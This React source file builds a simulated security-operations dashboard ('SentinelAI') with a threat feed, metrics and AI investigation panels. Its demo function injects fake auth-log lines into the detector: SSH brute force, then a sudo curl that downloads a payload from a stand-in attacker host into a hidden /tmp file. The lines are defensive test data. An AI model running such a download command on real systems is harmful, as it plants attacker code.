Spaces:
Sleeping
Sleeping
| "use client"; | |
| import { motion, AnimatePresence } from "framer-motion"; | |
| import { useCallback, useEffect, useMemo, useRef, useState } from "react"; | |
| import { Activity, Cpu, Globe2, Radar, RotateCw, Shield, Sparkles, Terminal } from "lucide-react"; | |
| import { Badge } from "@/components/ui/badge"; | |
| import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; | |
| import { ScrollArea } from "@/components/ui/scroll-area"; | |
| import { Separator } from "@/components/ui/separator"; | |
| import { Progress } from "@/components/ui/progress"; | |
| import { Button } from "@/components/ui/button"; | |
| import { cn } from "@/lib/utils"; | |
| type FeedItem = { | |
| type?: string; | |
| severity?: string; | |
| message?: string; | |
| source_ip?: string; | |
| event_type?: string; | |
| ts?: string; | |
| technique?: string; | |
| confidence?: number; | |
| description?: string; | |
| title?: string; | |
| summary?: string; | |
| executive?: string; | |
| technical?: string; | |
| agent?: string; | |
| status?: string; | |
| detail?: string; | |
| replay?: boolean; | |
| replay_index?: number; | |
| replay_total?: number; | |
| phase?: string; | |
| investigation_notes?: string; | |
| recommended_actions?: string[]; | |
| }; | |
| type Metrics = { | |
| threats_detected: number; | |
| active_incidents: number; | |
| blocked_attacks: number; | |
| events_per_minute: number; | |
| top_countries: { country: string; count: number }[]; | |
| risk_trend: { t: number; risk: number }[]; | |
| remediation_success_rate: number; | |
| attack_frequency: { minute: number; count: number }[]; | |
| }; | |
| const defaultMetrics: Metrics = { | |
| threats_detected: 0, | |
| active_incidents: 0, | |
| blocked_attacks: 0, | |
| events_per_minute: 0, | |
| top_countries: [], | |
| risk_trend: [], | |
| remediation_success_rate: 0.94, | |
| attack_frequency: [], | |
| }; | |
| /** Single canonical host so SSR and the browser match (avoids localhost vs 127.0.0.1 hydration errors). */ | |
| function normalizeApiOrigin(raw: string): string { | |
| try { | |
| const u = new URL(raw); | |
| if (u.hostname === "localhost") { | |
| u.hostname = "127.0.0.1"; | |
| } | |
| return u.origin; | |
| } catch { | |
| return raw; | |
| } | |
| } | |
| function apiBase(): string { | |
| const raw = process.env.NEXT_PUBLIC_API_URL; | |
| if (raw === undefined || raw === "") { | |
| if (typeof window !== "undefined") { | |
| return window.location.origin; | |
| } | |
| return ""; | |
| } | |
| return normalizeApiOrigin(raw); | |
| } | |
| function wsUrl(): string { | |
| const raw = process.env.NEXT_PUBLIC_API_URL; | |
| if (raw === undefined || raw === "") { | |
| if (typeof window !== "undefined") { | |
| const proto = window.location.protocol === "https:" ? "wss:" : "ws:"; | |
| return `${proto}//${window.location.host}/live-events`; | |
| } | |
| return "ws://127.0.0.1:8000/live-events"; | |
| } | |
| const base = normalizeApiOrigin(raw); | |
| return base.replace(/^http/, "ws") + "/live-events"; | |
| } | |
| type RocmPanel = { | |
| brand?: string; | |
| tagline?: string; | |
| gpu_utilization_simulated_pct?: number; | |
| inference_latency_ms_simulated?: number; | |
| concurrent_agent_tasks?: number; | |
| model_serving?: string; | |
| open_models?: string; | |
| throughput_note?: string; | |
| }; | |
| function formatAiReport(msg: FeedItem): string { | |
| const actions = Array.isArray(msg.recommended_actions) ? msg.recommended_actions : []; | |
| const parts = [ | |
| msg.executive ?? "", | |
| msg.technical ? `\n\n— Attack progression —\n${msg.technical}` : "", | |
| msg.investigation_notes ? `\n\n— Severity rationale —\n${msg.investigation_notes}` : "", | |
| ]; | |
| let out = parts.join("").trim(); | |
| if (actions.length) { | |
| out += `\n\n— Recommended actions —\n${actions.map((a) => `• ${a}`).join("\n")}`; | |
| } | |
| return out; | |
| } | |
| function severityColor(s?: string) { | |
| switch ((s ?? "").toLowerCase()) { | |
| case "critical": | |
| return "text-red-400 border-red-500/40 bg-red-500/10"; | |
| case "high": | |
| return "text-orange-300 border-orange-500/40 bg-orange-500/10"; | |
| case "medium": | |
| return "text-amber-200 border-amber-500/35 bg-amber-500/10"; | |
| case "low": | |
| return "text-sky-300 border-sky-500/35 bg-sky-500/10"; | |
| default: | |
| return "text-muted-foreground border-border bg-muted/30"; | |
| } | |
| } | |
| export default function Home() { | |
| const [metrics, setMetrics] = useState<Metrics>(defaultMetrics); | |
| const [feed, setFeed] = useState<FeedItem[]>([]); | |
| const [agents, setAgents] = useState<FeedItem[]>([]); | |
| const [aiPanel, setAiPanel] = useState<string>( | |
| "Awaiting high-fidelity incident graph. Autonomous agents are parsing collectors, enriching threat intel, and scoring blast radius.", | |
| ); | |
| const [timeline, setTimeline] = useState<FeedItem[]>([]); | |
| const [replayActive, setReplayActive] = useState(false); | |
| const [reasoningTrace, setReasoningTrace] = useState<string[]>([]); | |
| const [rocm, setRocm] = useState<RocmPanel | null>(null); | |
| const wsRef = useRef<WebSocket | null>(null); | |
| const aiThinking = useMemo( | |
| () => agents.some((a) => (a.detail ?? "").toLowerCase().includes("llm") || (a.agent ?? "") === "ai_analyst"), | |
| [agents], | |
| ); | |
| const refreshMetrics = useCallback(async () => { | |
| try { | |
| const r = await fetch(`${apiBase()}/dashboard-metrics`); | |
| if (!r.ok) return; | |
| const data = await r.json(); | |
| setMetrics({ ...defaultMetrics, ...data }); | |
| } catch { | |
| /* offline */ | |
| } | |
| }, []); | |
| const refreshAgents = useCallback(async () => { | |
| try { | |
| const r = await fetch(`${apiBase()}/agent-activity`); | |
| if (!r.ok) return; | |
| const data = await r.json(); | |
| setAgents(data.items ?? []); | |
| } catch { | |
| /* offline */ | |
| } | |
| }, []); | |
| useEffect(() => { | |
| refreshMetrics(); | |
| const id = setInterval(refreshMetrics, 5000); | |
| return () => clearInterval(id); | |
| }, [refreshMetrics]); | |
| useEffect(() => { | |
| refreshAgents(); | |
| const id = setInterval(refreshAgents, 4000); | |
| return () => clearInterval(id); | |
| }, [refreshAgents]); | |
| useEffect(() => { | |
| const loadRocm = async () => { | |
| try { | |
| const r = await fetch(`${apiBase()}/rocm-panel`); | |
| if (!r.ok) return; | |
| setRocm(await r.json()); | |
| } catch { | |
| /* offline */ | |
| } | |
| }; | |
| loadRocm(); | |
| const id = setInterval(loadRocm, 4000); | |
| return () => clearInterval(id); | |
| }, []); | |
| useEffect(() => { | |
| const url = wsUrl(); | |
| const ws = new WebSocket(url); | |
| wsRef.current = ws; | |
| ws.onmessage = (ev) => { | |
| try { | |
| const msg = JSON.parse(ev.data as string) as Record<string, unknown>; | |
| if (msg.type === "replay") { | |
| const phase = msg.phase as string | undefined; | |
| if (phase === "begin") { | |
| setReplayActive(true); | |
| setAiPanel("Replaying buffered attack chain for the jury…"); | |
| } | |
| if (phase === "frame" && msg.data && typeof msg.data === "object") { | |
| const inner = msg.data as FeedItem; | |
| setFeed((prev) => | |
| [ | |
| { | |
| ...inner, | |
| replay: true, | |
| replay_index: msg.index as number | undefined, | |
| replay_total: msg.total as number | undefined, | |
| }, | |
| ...prev, | |
| ].slice(0, 200), | |
| ); | |
| if (inner.type === "detection" && inner.description) { | |
| setReasoningTrace((t) => [inner.description!, ...t].slice(0, 12)); | |
| } | |
| if (inner.type === "incident") { | |
| setTimeline((prev) => [inner, ...prev].slice(0, 40)); | |
| setAiPanel(inner.summary ?? String(inner.title ?? "Replayed incident")); | |
| } | |
| if (inner.type === "ai_report") { | |
| setAiPanel(formatAiReport(inner)); | |
| } | |
| } | |
| if (phase === "end") { | |
| setReplayActive(false); | |
| setReasoningTrace((t) => ["[Replay complete]", ...t].slice(0, 12)); | |
| } | |
| if (phase === "empty") { | |
| setAiPanel(String(msg.message ?? "Replay buffer empty — run a simulation first.")); | |
| } | |
| return; | |
| } | |
| const row = msg as FeedItem; | |
| setFeed((prev) => [row, ...prev].slice(0, 200)); | |
| if (row.type === "detection" && row.description) { | |
| setReasoningTrace((t) => [row.description!, ...t].slice(0, 12)); | |
| } | |
| if (row.type === "incident") { | |
| setTimeline((prev) => [row, ...prev].slice(0, 40)); | |
| setAiPanel( | |
| row.summary ?? | |
| "Incident correlation engine fused multi-stage telemetry into a single attack narrative.", | |
| ); | |
| } | |
| if (row.type === "ai_report") { | |
| setAiPanel(formatAiReport(row)); | |
| } | |
| } catch { | |
| /* ignore */ | |
| } | |
| }; | |
| ws.onerror = () => { | |
| setFeed((p) => [ | |
| { type: "system", severity: "medium", message: `WebSocket degraded — API at ${apiBase()}` }, | |
| ...p, | |
| ]); | |
| }; | |
| return () => ws.close(); | |
| }, []); | |
| const severityCounts = useMemo(() => { | |
| const c = { critical: 0, high: 0, medium: 0, low: 0 }; | |
| for (const row of feed) { | |
| const s = (row.severity ?? "").toLowerCase(); | |
| if (s in c) (c as Record<string, number>)[s] += 1; | |
| } | |
| return c; | |
| }, [feed]); | |
| const maxCountry = Math.max(1, ...metrics.top_countries.map((x) => x.count)); | |
| const startReplay = async () => { | |
| try { | |
| await fetch(`${apiBase()}/replay/start`, { | |
| method: "POST", | |
| headers: { "Content-Type": "application/json" }, | |
| body: JSON.stringify({ delay_ms: 420 }), | |
| }); | |
| } catch { | |
| /* offline */ | |
| } | |
| }; | |
| const runDemoBurst = async () => { | |
| const lines = [ | |
| 'Jan 10 12:00:01 edge-01 sshd[9001]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2', | |
| 'Jan 10 12:00:03 edge-01 sshd[9002]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2', | |
| 'Jan 10 12:00:05 edge-01 sshd[9003]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2', | |
| 'Jan 10 12:00:07 edge-01 sshd[9004]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2', | |
| 'Jan 10 12:00:09 edge-01 sshd[9005]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2', | |
| 'Jan 10 12:00:15 edge-01 sshd[9006]: Accepted publickey for ubuntu from 45.33.32.156 port 22 ssh2', | |
| 'Jan 10 12:00:40 edge-01 sudo: ubuntu : TTY=pts/0 ; USER=root ; COMMAND=/usr/bin/curl -fsSL http://evil.example/p -o /tmp/.kworker', | |
| ]; | |
| for (const raw_line of lines) { | |
| await fetch(`${apiBase()}/ingest-logs`, { | |
| method: "POST", | |
| headers: { "Content-Type": "application/json" }, | |
| body: JSON.stringify({ source: "demo", raw_line, metadata: { host: "edge-01" } }), | |
| }); | |
| await new Promise((r) => setTimeout(r, 120)); | |
| } | |
| }; | |
| return ( | |
| <div className="relative min-h-screen overflow-x-hidden p-4 md:p-8 font-sans"> | |
| <div className="pointer-events-none absolute inset-0 scanline opacity-40" /> | |
| <header className="mx-auto mb-8 flex max-w-[1600px] flex-col gap-4 md:flex-row md:items-end md:justify-between"> | |
| <div> | |
| <motion.div | |
| initial={{ opacity: 0, y: 8 }} | |
| animate={{ opacity: 1, y: 0 }} | |
| className="flex items-center gap-3" | |
| > | |
| <div className="flex h-12 w-12 items-center justify-center rounded-2xl border border-primary/40 bg-primary/15 shadow-[0_0_30px_oklch(0.75_0.15_195_/_0.35)]"> | |
| <Shield className="h-7 w-7 text-primary" /> | |
| </div> | |
| <div> | |
| <p className="text-xs uppercase tracking-[0.35em] text-muted-foreground">Autonomous SOC</p> | |
| <h1 className="text-3xl font-semibold tracking-tight md:text-4xl"> | |
| Sentinel<span className="text-primary">AI</span> | |
| </h1> | |
| </div> | |
| </motion.div> | |
| <p className="mt-3 max-w-2xl text-sm text-muted-foreground md:text-base"> | |
| Multi-agent collectors, LangGraph orchestration, PostgreSQL evidence store, Redis fan-out, and{" "} | |
| <span className="text-primary/90">AMD ROCm</span>-ready open models for on-prem inference at SOC scale. | |
| </p> | |
| </div> | |
| <div className="flex flex-wrap gap-2"> | |
| <Badge variant="outline" className="border-primary/40 bg-primary/10 text-primary"> | |
| <Cpu className="mr-1 h-3 w-3" /> ROCm inference path | |
| </Badge> | |
| <Badge variant="outline" className="border-accent/40 bg-accent/10 text-accent-foreground"> | |
| <Sparkles className="mr-1 h-3 w-3" /> Llama 3 · Qwen · Mistral · DeepSeek | |
| </Badge> | |
| <Badge variant="outline">{"MITRE ATT&CK mapping"}</Badge> | |
| </div> | |
| </header> | |
| <div className="mx-auto grid max-w-[1600px] gap-4 lg:grid-cols-12"> | |
| <motion.section | |
| initial={{ opacity: 0, y: 12 }} | |
| animate={{ opacity: 1, y: 0 }} | |
| className="glass-panel glow-panel relative overflow-hidden lg:col-span-8" | |
| > | |
| <div className="flex flex-wrap items-center justify-between gap-2 border-b border-border/60 px-4 py-3"> | |
| <div className="flex items-center gap-2 text-sm font-medium"> | |
| <Radar className="h-4 w-4 text-primary" /> | |
| Live Threat Feed | |
| </div> | |
| <div className="flex flex-wrap gap-2"> | |
| <Button size="sm" variant="secondary" className="h-8 gap-1 text-xs" onClick={runDemoBurst}> | |
| <Activity className="h-3.5 w-3.5" /> | |
| Simulate attack chain | |
| </Button> | |
| <Button | |
| size="sm" | |
| variant="outline" | |
| className="h-8 gap-1 border-primary/40 text-xs text-primary" | |
| onClick={startReplay} | |
| disabled={replayActive} | |
| > | |
| <RotateCw className={cn("h-3.5 w-3.5", replayActive && "animate-spin")} /> | |
| Replay last chain | |
| </Button> | |
| </div> | |
| </div> | |
| <ScrollArea className="h-[340px] px-2"> | |
| <div className="space-y-2 p-2"> | |
| <AnimatePresence initial={false}> | |
| {feed.length === 0 && ( | |
| <motion.p | |
| initial={{ opacity: 0 }} | |
| animate={{ opacity: 1 }} | |
| className="text-sm text-muted-foreground" | |
| > | |
| Listening on <code className="rounded bg-muted px-1 py-0.5">{wsUrl()}</code> — start the API or | |
| trigger the demo script. | |
| </motion.p> | |
| )} | |
| {feed.map((row, i) => ( | |
| <motion.div | |
| key={`${row.ts ?? i}-${i}`} | |
| layout | |
| initial={{ opacity: 0, x: -8 }} | |
| animate={{ opacity: 1, x: 0 }} | |
| exit={{ opacity: 0 }} | |
| className={cn( | |
| "flex flex-col gap-1 rounded-xl border px-3 py-2 text-sm transition-shadow duration-300 md:flex-row md:items-center md:justify-between", | |
| row.type === "detection" ? "border-destructive/35 bg-destructive/5" : "border-border/60 bg-card/30", | |
| (row.severity === "critical" || row.severity === "high") && row.type === "detection" | |
| ? "threat-row-hot shadow-[0_0_20px_oklch(0.65_0.2_25_/_0.2)]" | |
| : "", | |
| )} | |
| > | |
| <div className="flex flex-wrap items-center gap-2"> | |
| {row.replay && ( | |
| <Badge variant="outline" className="border-accent/50 bg-accent/10 text-[10px] text-accent-foreground"> | |
| replay {row.replay_index != null ? `${row.replay_index + 1}/${row.replay_total}` : ""} | |
| </Badge> | |
| )} | |
| <Badge variant="outline" className={cn("text-[10px] uppercase", severityColor(row.severity))}> | |
| {row.type ?? "event"} | |
| </Badge> | |
| <span className="font-mono text-xs text-muted-foreground">{row.event_type ?? row.technique}</span> | |
| </div> | |
| <p className="flex-1 text-xs md:px-3 md:text-sm"> | |
| {row.message ?? row.description ?? row.summary ?? JSON.stringify(row)} | |
| </p> | |
| <span className="font-mono text-[10px] text-primary/80">{row.source_ip}</span> | |
| </motion.div> | |
| ))} | |
| </AnimatePresence> | |
| </div> | |
| </ScrollArea> | |
| </motion.section> | |
| <motion.aside | |
| initial={{ opacity: 0, y: 12 }} | |
| animate={{ opacity: 1, y: 0 }} | |
| transition={{ delay: 0.05 }} | |
| className="glass-panel lg:col-span-4" | |
| > | |
| <div className="border-b border-border/60 px-4 py-3 text-sm font-medium">Threat Severity</div> | |
| <div className="grid grid-cols-2 gap-3 p-4"> | |
| {( | |
| [ | |
| ["Critical", severityCounts.critical], | |
| ["High", severityCounts.high], | |
| ["Medium", severityCounts.medium], | |
| ["Low", severityCounts.low], | |
| ] as const | |
| ).map(([label, val]) => ( | |
| <Card | |
| key={label} | |
| className={cn( | |
| "border-border/50 bg-card/40", | |
| label === "Critical" && val > 0 && "severity-pulse-critical border-red-500/30 shadow-[0_0_16px_rgba(239,68,68,0.15)]", | |
| label === "High" && val > 0 && "border-orange-500/25 shadow-[0_0_12px_rgba(249,115,22,0.12)]", | |
| )} | |
| > | |
| <CardHeader className="p-3 pb-1"> | |
| <CardTitle className="text-xs text-muted-foreground">{label}</CardTitle> | |
| </CardHeader> | |
| <CardContent className="p-3 pt-0 text-2xl font-semibold tabular-nums">{val}</CardContent> | |
| </Card> | |
| ))} | |
| </div> | |
| <Separator className="bg-border/50" /> | |
| <div className="space-y-3 p-4"> | |
| <div className="flex items-center justify-between text-xs text-muted-foreground"> | |
| <span>Risk posture</span> | |
| <span>{metrics.remediation_success_rate * 100}% remediation success</span> | |
| </div> | |
| <Progress value={Math.min(100, metrics.threats_detected * 3)} className="h-2" /> | |
| </div> | |
| </motion.aside> | |
| <motion.section | |
| initial={{ opacity: 0, y: 12 }} | |
| animate={{ opacity: 1, y: 0 }} | |
| transition={{ delay: 0.08 }} | |
| className="glass-panel lg:col-span-5" | |
| > | |
| <div className="flex items-center gap-2 border-b border-border/60 px-4 py-3 text-sm font-medium"> | |
| <Globe2 className="h-4 w-4 text-primary" /> | |
| World Threat Map | |
| </div> | |
| <div className="relative h-[280px] p-4"> | |
| <div className="absolute inset-4 rounded-3xl border border-primary/20 bg-gradient-to-br from-primary/10 via-transparent to-accent/10" /> | |
| <div className="relative grid h-full place-items-center"> | |
| <div className="grid w-full max-w-md grid-cols-4 gap-3"> | |
| {metrics.top_countries.length === 0 ? ( | |
| <p className="col-span-4 text-center text-sm text-muted-foreground"> | |
| Geo enrichment fills as public IPs arrive (AbuseIPDB / OTX / VT optional). | |
| </p> | |
| ) : ( | |
| metrics.top_countries.map((c) => ( | |
| <motion.div | |
| key={c.country} | |
| layout | |
| className="rounded-xl border border-border/60 bg-card/40 p-2 text-center" | |
| whileHover={{ scale: 1.03 }} | |
| > | |
| <p className="text-lg font-semibold">{c.country}</p> | |
| <div className="mx-auto mt-2 h-16 w-1 rounded-full bg-muted"> | |
| <div | |
| className="w-full rounded-full bg-gradient-to-t from-primary to-accent" | |
| style={{ height: `${(c.count / maxCountry) * 100}%` }} | |
| /> | |
| </div> | |
| <p className="mt-1 text-[10px] text-muted-foreground">{c.count} events</p> | |
| </motion.div> | |
| )) | |
| )} | |
| </div> | |
| </div> | |
| </div> | |
| </motion.section> | |
| <motion.section | |
| initial={{ opacity: 0, y: 12 }} | |
| animate={{ opacity: 1, y: 0 }} | |
| transition={{ delay: 0.1 }} | |
| className="glass-panel lg:col-span-4" | |
| > | |
| <div className="border-b border-border/60 px-4 py-3 text-sm font-medium">Incident Analytics</div> | |
| <div className="grid gap-3 p-4 sm:grid-cols-3"> | |
| <MetricTile label="Threats" value={metrics.threats_detected} hint="ML + rules" /> | |
| <MetricTile label="Incidents" value={metrics.active_incidents} hint="correlated" /> | |
| <MetricTile label="Blocked" value={metrics.blocked_attacks} hint="auto-response" /> | |
| </div> | |
| <div className="px-4 pb-4"> | |
| <p className="mb-2 text-xs text-muted-foreground">Attack frequency (rolling)</p> | |
| <div className="flex h-24 items-end gap-1"> | |
| {(metrics.attack_frequency.length ? metrics.attack_frequency : [{ minute: 0, count: 1 }]).map( | |
| (b, idx) => { | |
| const h = Math.max(8, (b.count / 10) * 80); | |
| return ( | |
| <div | |
| key={idx} | |
| className="flex-1 rounded-t-md bg-gradient-to-t from-primary/20 to-primary" | |
| style={{ height: `${h}%` }} | |
| /> | |
| ); | |
| }, | |
| )} | |
| </div> | |
| </div> | |
| </motion.section> | |
| <motion.section | |
| initial={{ opacity: 0, y: 12 }} | |
| animate={{ opacity: 1, y: 0 }} | |
| transition={{ delay: 0.12 }} | |
| className="glass-panel lg:col-span-3" | |
| > | |
| <div className="flex items-center gap-2 border-b border-border/60 px-4 py-3 text-sm font-medium"> | |
| <Cpu className="h-4 w-4 text-accent" /> | |
| Agent Activity | |
| </div> | |
| <ScrollArea className="h-[280px] px-2"> | |
| <div className="space-y-2 p-2"> | |
| {agents.slice(0, 40).map((a, i) => ( | |
| <div | |
| key={`${a.agent}-${i}`} | |
| className="rounded-lg border border-border/50 bg-card/30 px-2 py-1.5 text-xs" | |
| > | |
| <div className="flex items-center justify-between"> | |
| <span className="font-semibold text-primary">{a.agent}</span> | |
| <span className="text-[10px] uppercase text-muted-foreground">{a.status}</span> | |
| </div> | |
| <p className="text-[11px] text-muted-foreground">{a.detail}</p> | |
| </div> | |
| ))} | |
| </div> | |
| </ScrollArea> | |
| </motion.section> | |
| <motion.section | |
| initial={{ opacity: 0, y: 12 }} | |
| animate={{ opacity: 1, y: 0 }} | |
| transition={{ delay: 0.14 }} | |
| className="glass-panel lg:col-span-6" | |
| > | |
| <div className="flex flex-wrap items-center justify-between gap-2 border-b border-border/60 px-4 py-3"> | |
| <div className="flex items-center gap-2 text-sm font-medium"> | |
| <Sparkles className="h-4 w-4 text-accent" /> | |
| AI Investigation | |
| </div> | |
| {aiThinking && ( | |
| <Badge className="animate-pulse border-primary/50 bg-primary/20 text-[10px] text-primary"> | |
| Model inferencing… | |
| </Badge> | |
| )} | |
| </div> | |
| <div className="flex h-[220px] flex-col"> | |
| <div className="shrink-0 border-b border-border/40 px-4 py-2"> | |
| <p className="text-[10px] font-medium uppercase tracking-wider text-primary/80">Reasoning trace</p> | |
| <ScrollArea className="h-[72px]"> | |
| <ul className="space-y-1 pr-3 pt-1 font-mono text-[10px] text-muted-foreground"> | |
| {reasoningTrace.length === 0 && <li className="opacity-60">Awaiting detection hypotheses…</li>} | |
| {reasoningTrace.map((line, i) => ( | |
| <motion.li | |
| key={`${i}-${line.slice(0, 24)}`} | |
| initial={{ opacity: 0, x: -4 }} | |
| animate={{ opacity: 1, x: 0 }} | |
| className="border-l border-primary/30 pl-2" | |
| > | |
| {line} | |
| </motion.li> | |
| ))} | |
| </ul> | |
| </ScrollArea> | |
| </div> | |
| <ScrollArea className="flex-1 p-4"> | |
| <p className="whitespace-pre-wrap text-sm leading-relaxed text-muted-foreground">{aiPanel}</p> | |
| </ScrollArea> | |
| </div> | |
| </motion.section> | |
| <motion.section | |
| initial={{ opacity: 0, y: 12 }} | |
| animate={{ opacity: 1, y: 0 }} | |
| transition={{ delay: 0.16 }} | |
| className="glass-panel lg:col-span-6" | |
| > | |
| <div className="flex items-center gap-2 border-b border-border/60 px-4 py-3 text-sm font-medium"> | |
| <Terminal className="h-4 w-4 text-primary" /> | |
| Attack Timeline | |
| </div> | |
| <ScrollArea className="h-[220px] px-2"> | |
| <div className="space-y-3 p-3"> | |
| {timeline.length === 0 && ( | |
| <p className="text-sm text-muted-foreground">Correlated incidents render here with fused edges.</p> | |
| )} | |
| {timeline.map((inc, idx) => ( | |
| <motion.div | |
| key={idx} | |
| initial={{ opacity: 0, x: -6 }} | |
| animate={{ opacity: 1, x: 0 }} | |
| transition={{ delay: idx * 0.04 }} | |
| className="relative border-l-2 border-primary/40 pl-4" | |
| > | |
| <div className="absolute -left-[5px] top-1 h-2 w-2 animate-pulse rounded-full bg-primary shadow-[0_0_12px_oklch(0.75_0.15_195)]" /> | |
| <p className="text-sm font-semibold">{inc.title}</p> | |
| <p className="text-xs text-muted-foreground">{inc.summary}</p> | |
| </motion.div> | |
| ))} | |
| </div> | |
| </ScrollArea> | |
| </motion.section> | |
| <motion.section | |
| initial={{ opacity: 0, y: 12 }} | |
| animate={{ opacity: 1, y: 0 }} | |
| transition={{ delay: 0.18 }} | |
| className="glass-panel font-mono text-xs lg:col-span-12" | |
| > | |
| <div className="flex items-center justify-between border-b border-border/60 px-4 py-2 text-[11px] text-muted-foreground"> | |
| <span> | |
| stream://sentinel/terminal<span className="cyber-cursor" /> | |
| </span> | |
| <span className="text-primary/80">tail -f /var/log/auth.log · docker · k8s · cloudtrail</span> | |
| </div> | |
| <div className="max-h-[160px] overflow-y-auto px-4 py-3 text-[11px] leading-relaxed text-primary/90"> | |
| {feed.slice(0, 12).map((row, i) => ( | |
| <div key={i} className="truncate"> | |
| <span className="text-muted-foreground">[{row.ts ?? "live"}]</span>{" "} | |
| <span className="text-accent-foreground">{row.type}</span> {row.message ?? row.description} | |
| </div> | |
| ))} | |
| </div> | |
| </motion.section> | |
| </div> | |
| <motion.section | |
| initial={{ opacity: 0, y: 8 }} | |
| animate={{ opacity: 1, y: 0 }} | |
| className="glass-panel mx-auto mt-8 max-w-[1600px] border-primary/25 bg-gradient-to-br from-primary/10 via-card/30 to-transparent" | |
| > | |
| <div className="flex flex-wrap items-center justify-between gap-3 border-b border-primary/20 px-4 py-3"> | |
| <div className="flex items-center gap-2"> | |
| <Cpu className="h-5 w-5 text-primary" /> | |
| <div> | |
| <p className="text-sm font-semibold text-primary">Powered by AMD ROCm</p> | |
| <p className="text-xs text-muted-foreground">{rocm?.tagline ?? "Accelerated open-source inference for parallel SOC agents"}</p> | |
| </div> | |
| </div> | |
| <Badge variant="outline" className="border-primary/40 text-primary"> | |
| {rocm?.open_models ?? "Llama 3 · Qwen 2.5 · Mistral"} | |
| </Badge> | |
| </div> | |
| <div className="grid gap-4 p-4 sm:grid-cols-2 lg:grid-cols-4"> | |
| <div className="rounded-xl border border-border/50 bg-card/40 p-3"> | |
| <p className="text-[10px] uppercase text-muted-foreground">GPU utilization (sim)</p> | |
| <p className="text-2xl font-bold tabular-nums text-primary">{rocm?.gpu_utilization_simulated_pct ?? "—"}%</p> | |
| </div> | |
| <div className="rounded-xl border border-border/50 bg-card/40 p-3"> | |
| <p className="text-[10px] uppercase text-muted-foreground">Inference latency (sim)</p> | |
| <p className="text-2xl font-bold tabular-nums text-accent-foreground"> | |
| {rocm?.inference_latency_ms_simulated != null ? `${rocm.inference_latency_ms_simulated} ms` : "—"} | |
| </p> | |
| </div> | |
| <div className="rounded-xl border border-border/50 bg-card/40 p-3"> | |
| <p className="text-[10px] uppercase text-muted-foreground">Concurrent agent tasks</p> | |
| <p className="text-2xl font-bold tabular-nums">{rocm?.concurrent_agent_tasks ?? "—"}</p> | |
| </div> | |
| <div className="rounded-xl border border-border/50 bg-card/40 p-3"> | |
| <p className="text-[10px] uppercase text-muted-foreground">Model serving</p> | |
| <p className="truncate text-sm font-medium text-primary">{rocm?.model_serving ?? "llama3"}</p> | |
| <p className="mt-1 text-[10px] text-muted-foreground">{rocm?.throughput_note}</p> | |
| </div> | |
| </div> | |
| </motion.section> | |
| <footer className="mx-auto mt-6 max-w-[1600px] text-center text-[11px] text-muted-foreground"> | |
| Local inference · parallel agents · Redis fan-out · PostgreSQL evidence · optional Chroma vector memory | |
| </footer> | |
| </div> | |
| ); | |
| } | |
| function MetricTile({ label, value, hint }: { label: string; value: number; hint: string }) { | |
| return ( | |
| <div className="rounded-xl border border-border/50 bg-card/30 p-3"> | |
| <p className="text-[11px] uppercase tracking-wide text-muted-foreground">{label}</p> | |
| <p className="text-2xl font-semibold tabular-nums">{value}</p> | |
| <p className="text-[10px] text-primary/70">{hint}</p> | |
| </div> | |
| ); | |
| } | |